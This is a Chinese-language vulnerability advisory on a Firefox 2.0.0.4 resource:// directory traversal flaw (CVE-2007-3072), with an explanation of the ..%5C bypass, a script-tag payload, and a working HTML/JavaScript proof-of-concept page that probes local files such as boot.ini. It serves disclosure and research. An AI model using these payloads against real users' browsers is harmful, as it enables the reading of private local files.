Mozilla Firefox resource://远程目录遍历漏洞
发布日期:2007-05-28
更新日期:2007-06-04
受影响系统:Mozilla Firefox 2.0.0.4
描述:
BUGTRAQ ID:
24191,
24303
CVE(CAN) ID:
CVE-2007-3072
Mozilla Firefox是一款流行的开源WEB浏览器。
Mozilla Firefox在处理服务器返回的“resource://”URL资源访问时存在漏洞,恶意网页可能利用此漏洞访问客户端系统上的文件。
Firefox中的resource:// URL协议处理器没有正确地验证某些用户输入,允许攻击者使用..%5C而不是..\绕过安全限制,将文件内容暴露为SCRIPT或CSS标签的可读属性,导致读取本地系统的任意文件。
例如,假设系统中的C:\resource.txt文件包含有:
secretinfo = “steal me”
则攻击者可以通过包含有以下内容的脚本将本地文件的内容暴露于站点:
<script src=”resource://gre/..%5C..%5Cresource.txt”></script>
从Firefox 2.0.0.4版本之后这个漏洞在Windows系统上仅可能泄露Firefox安装目录中的文件,如update.xml和install.log,从而判断本地安装路径并查询任意插件DLL的安装情况;在非Windows系统上该漏洞仍会导致完全的目录遍历,允许用户读取任意本地文件。
<*来源:shutdown (
shutdown@flashmail.com)
链接:
https://bugzilla.mozilla.org/show_bug.cgi?format=multiple&id=367428
http://larholm.com/2007/05/25/firefox-0day-local-file-reading/
http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/
http://secunia.com/advisories/25481/
http://larholm.com/2007/06/04/unpatched-input-validation-flaw-in-firefox-2004/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html>
<head>
<title>resource:// directory traversal testcase</title>
<script type="text/javascript"><!--
function check(path) {
var escript = document.createElement("script");
escript.src = path;
window.onerror = function(text, path, line) {
escript.parentNode.removeChild(escript);
var eresult = document.getElementById("result");
var textnode = document.createTextNode(path + ": " + text + "\n");
eresult.insertBefore(textnode, eresult.firstChild);
};
document.body.appendChild(escript);
}
//--></script>
</head>
<body>
<h1>resource:// directory traversal testcase</h1>
<noscript><p>this testcase requires JavaScript to run.</p></noscript>
<form>
URL: <input name="path" type="text" size="80"
value="resource://gre/..%5c..%5c..%5c..%5cboot.ini">
<input type="button" value="check" onclick="check(this.form.path.value);">
</form>
<p><pre id="result"></pre></p>
</body>
</html>
建议:
厂商补丁:
Mozilla
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.mozilla.org/浏览次数:3661
严重程度:0(网友投票)